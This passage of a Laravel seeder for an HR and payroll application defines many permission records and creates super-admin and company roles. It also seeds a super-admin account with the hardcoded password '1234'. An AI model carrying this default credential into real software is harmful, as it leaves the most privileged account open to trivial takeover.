"created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Transfer Balance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Transfer Balance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Event", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Event", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Event", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Event", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Announcement", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Announcement", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Announcement", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Announcement", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Leave Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Leave Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Leave Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Leave Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Leave", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Leave", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Leave", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Leave", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Ticket", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Ticket", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Ticket", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Ticket", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Attendance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Attendance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Attendance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Attendance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Language", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Language", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Plan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Plan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Plan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Buy Plan", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage System Settings", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Company Settings", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage TimeSheet", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create TimeSheet", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit TimeSheet", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete TimeSheet", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Order", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'manage coupon', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'create coupon', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'edit coupon', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'delete coupon', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Assets', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Create Assets', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Edit Assets', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Delete Assets', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Document', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Create Document', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Edit Document', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Delete Document', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Employee Profile', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Show Employee Profile', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Employee Last Login', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Indicator', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Create Indicator', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Edit Indicator', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Delete Indicator', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Show Indicator', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Manage Appraisal', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Create Appraisal', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Edit Appraisal', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Delete Appraisal', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => 'Show Appraisal', "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Goal Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Goal Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Goal Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Goal Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Goal Tracking", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Goal Tracking", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Goal Tracking", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Goal Tracking", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Company Policy", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Company Policy", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Company Policy", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Company Policy", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Trainer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Trainer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Trainer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Trainer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Trainer", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Training", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Training", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Training", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Training", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Training", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Training Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Training Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Training Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Training Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Report", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Holiday", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Holiday", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Holiday", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Holiday", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Job Category", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Job Category", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Job Category", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Job Category", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Job Stage", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Job Stage", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Job Stage", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Job Stage", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Job", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Job", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Job", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Job", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Job", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Move Job Application", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Add Job Application Note", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Job Application Note", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Add Job Application Skill", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Job OnBoard", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Custom Question", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Custom Question", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Custom Question", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Custom Question", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Interview Schedule", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Interview Schedule", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Interview Schedule", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Interview Schedule", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Career", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Competencies", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Competencies", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Competencies", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Competencies", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Performance Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Performance Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Performance Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Performance Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Contract Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Contract Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Contract Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Contract Type", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Contract", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Contract", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Contract", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Contract", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Store Note", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Note", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Store Comment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Comment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Attachment", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Webhook", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Edit Webhook", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Webhook", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Zoom meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Create Zoom meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Show Zoom meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Delete Zoom meeting", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Manage Biometric Attendance", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ "name" => "Biometric Attendance Synchronize", "guard_name" => "web", "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], ]; Permission::insert($arrPermissions); // Super admin $superAdminRole = Role::create( [ 'name' => 'super admin', 'created_by' => 0, ] ); $superAdminPermissions = [ ["name" => "Manage User"], ["name" => "Create User"], ["name" => "Edit User"], ["name" => "Delete User"], ["name" => "Manage Role"], ["name" => "Create Role"], ["name" => "Delete Role"], ["name" => "Edit Role"], ["name" => "Manage Language"], ["name" => "Create Language"], ["name" => "Manage Plan"], ["name" => "Create Plan"], ["name" => "Edit Plan"], ["name" => "Manage System Settings"], ["name" => "Manage Order"], ["name" => 'manage coupon'], ["name" => 'create coupon'], ["name" => 'edit coupon'], ["name" => 'delete coupon'], ]; $superAdminRole->givePermissionTo($superAdminPermissions); $superAdmin = User::create( [ 'name' => 'Super Admin', 'email' => 'superadmin@example.com', 'password' => Hash::make('1234'), 'type' => 'super admin', 'lang' => 'en', 'avatar' => '', 'email_verified_at' => date("Y-m-d H:i:s"), 'created_by' => 0, ] ); $superAdmin->assignRole($superAdminRole); // company $companyRole = Role::create( [ 'name' => 'company', 'created_by' => $superAdmin->id, ] ); $companyPermissions = [ ["name" => "Manage User"], ["name" => "Create User"], ["name" => "Edit User"], ["name" => "Delete User"], ["name" => "Manage Role"], ["name" => "Create Role"], ["name" => "Delete Role"], ["name" => "Edit Role"], ["name" => "Manage Award"], ["name" => "Create Award"], ["name" => "Delete Award"], ["name" => "Edit Award"], ["name" => "Manage Transfer"], ["name" => "Create Transfer"], ["name" => "Delete Transfer"], ["name" => "Edit Transfer"], ["name" => "Manage Resignation"], ["name" => "Create Resignation"], ["name" => "Edit Resignation"], ["name" => "Delete Resignation"], ["name" => "Manage Travel"], ["name" => "Create Travel"], ["name" => "Edit Travel"], ["name" => "Delete Travel"], ["name" => "Manage Promotion"], ["name" => "Create Promotion"], ["name" => "Edit Promotion"], ["name" => "Delete Promotion"], ["name" => "Manage Complaint"], ["name" => "Create Complaint"], ["name" => "Edit Complaint"], ["name" => "Delete Complaint"], ["name" => "Manage Warning"], ["name" => "Create Warning"], ["name" => "Edit Warning"], ["name" => "Delete Warning"], ["name" => "Manage Termination"], ["name" => "Create Termination"], ["name" => "Edit Termination"], ["name" => "Delete Termination"], ["name" => "Manage Department"], ["name" => "Create Department"], ["name" => "Edit Department"], ["name" => "Delete Department"], ["name" => "Manage Designation"], ["name" => "Create Designation"], ["name" => "Edit Designation"], ["name" => "Delete Designation"], ["name" => "Manage Document Type"], ["name" => "Create Document Type"], ["name" => "Edit Document Type"], ["name" => "Delete Document Type"], ["name" => "Manage Branch"], ["name" => "Create Branch"], ["name" => "Edit Branch"], ["name" => "Delete Branch"], ["name" => "Manage Award Type"], ["name" => "Create Award Type"], ["name" => "Edit Award Type"], ["name" => "Delete Award Type"], ["name" => "Manage Termination Type"], ["name" => "Create Termination Type"], ["name" => "Edit Termination Type"], ["name" => "Delete Termination Type"], ["name" => "Manage Employee"], ["name" => "Create Employee"], ["name" => "Edit Employee"], ["name" => "Delete Employee"], ["name" => "Show Employee"], ["name" => "Manage Payslip Type"], ["name" => "Create Payslip Type"], ["name" => "Edit Payslip Type"], ["name" => "Delete Payslip Type"], ["name" => "Manage Allowance Option"], ["name" => "Create Allowance Option"], ["name" => "Edit Allowance Option"], ["name" => "Delete Allowance Option"], ["name" => "Manage Loan Option"], ["name" => "Create Loan Option"], ["name" => "Edit Loan Option"], ["name" => "Delete Loan Option"], ["name" => "Manage Deduction Option"], ["name" => "Create Deduction Option"], ["name" => "Edit Deduction Option"], ["name" => "Delete Deduction Option"], ["name" => "Manage Set Salary"], ["name" => "Create Set Salary"], ["name" => "Edit Set Salary"], ["name" => "Delete Set Salary"], ["name" => "Manage Allowance"], ["name" => "Create Allowance"], ["name" => "Edit Allowance"], ["name" => "Delete Allowance"], ["name" => "Create Commission"], ["name" => "Create Loan"], ["name" => "Create Saturation Deduction"], ["name" => "Create Other Payment"], ["name" => "Create Overtime"], ["name" => "Edit Commission"], ["name" => "Delete Commission"], ["name" => "Edit Loan"], ["name" => "Delete Loan"], ["name" => "Edit Saturation Deduction"], ["name" => "Delete Saturation Deduction"], ["name" => "Edit Other Payment"], ["name" => "Delete Other Payment"], ["name" => "Edit Overtime"], ["name" => "Delete Overtime"], ["name" => "Manage Pay Slip"], ["name" => "Create Pay Slip"], ["name" => "Edit Pay Slip"], ["name" => "Delete Pay Slip"], ["name" => "Manage Account List"], ["name" => "Create Account List"], ["name" => "Edit Account List"], ["name" => "Delete Account List"], ["name" => "View Balance Account List"], ["name" => "Manage Payee"], ["name" => "Create Payee"], ["name" => "Edit Payee"], ["name" => "Delete Payee"], ["name" => "Manage Payer"], ["name" => "Create Payer"], ["name" => "Edit Payer"], ["name" => "Delete Payer"], ["name" => "Manage Expense Type"], ["name" => "Create Expense Type"], ["name" => "Edit Expense Type"], ["name" => "Delete Expense Type"], ["name" => "Manage Income Type"], ["name" => "Edit Income Type"], ["name" => "Delete Income Type"], ["name" => "Create Income Type"], ["name" => "Manage Payment Type"], ["name" => "Create Payment Type"], ["name" => "Edit Payment Type"], ["name" => "Delete Payment Type"], ["name" => "Manage Deposit"], ["name" => "Create Deposit"], ["name" => "Edit Deposit"], ["name" => "Delete Deposit"], ["name" => "Manage Expense"], ["name" => "Create Expense"], ["name" => "Edit Expense"], ["name" => "Delete Expense"], ["name" => "Manage Transfer Balance"], ["name" => "Create Transfer Balance"], ["name" => "Edit Transfer Balance"], ["name" => "Delete Transfer Balance"], ["name" => "Manage Event"], ["name" => "Create Event"], ["name" => "Edit Event"], ["name" => "Delete Event"], ["name" => "Manage Announcement"], ["name" => "Create Announcement"], ["name" => "Edit Announcement"], ["name" => "Delete Announcement"], ["name" => "Manage Leave Type"], ["name" => "Create Leave Type"], ["name" => "Edit Leave Type"], ["name" => "Delete Leave Type"], ["name" => "Manage Leave"], ["name" => "Create Leave"], ["name" => "Edit Leave"], ["name" => "Delete Leave"], ["name" => "Manage Meeting"], ["name" => "Create Meeting"], ["name" => "Edit Meeting"], ["name" => "Delete Meeting"], ["name" => "Manage Ticket"], ["name" => "Create Ticket"], ["name" => "Edit Ticket"], ["name" => "Delete Ticket"], ["name" => "Manage Attendance"], ["name" => "Create Attendance"], ["name" => "Edit Attendance"], ["name" => "Delete Attendance"], ["name" => "Manage Language"], ["name" => "Manage Plan"], ["name" => "Buy Plan"], ["name" => "Manage Company Settings"], ["name" => "Manage TimeSheet"], ["name" => "Create TimeSheet"], ["name" => "Edit TimeSheet"], ["name" => "Delete TimeSheet"], ["name" => "Manage Order"], ["name" => 'Manage Assets'], ["name" => 'Create Assets'], ["name" => 'Edit Assets'], ["name" => 'Delete Assets'], ["name" => 'Manage Document'], ["name" => 'Create Document'], ["name" => 'Edit Document'], ["name" => 'Delete Document'], ["name" => 'Manage Employee Profile'], ["name" => 'Show Employee Profile'], ["name" => 'Manage Employee Last Login'], ["name" => 'Manage Indicator'], ["name" => 'Create Indicator'], ["name" => 'Edit Indicator'], ["name" => 'Delete Indicator'], ["name" => 'Show Indicator'], ["name" => 'Manage Appraisal'], ["name" => 'Create Appraisal'], ["name" => 'Edit Appraisal'], ["name" => 'Delete Appraisal'], ["name" => 'Show Appraisal'], ["name" => "Manage Goal Type"], ["name" => "Create Goal Type"], ["name" => "Edit Goal Type"], ["name" => "Delete Goal 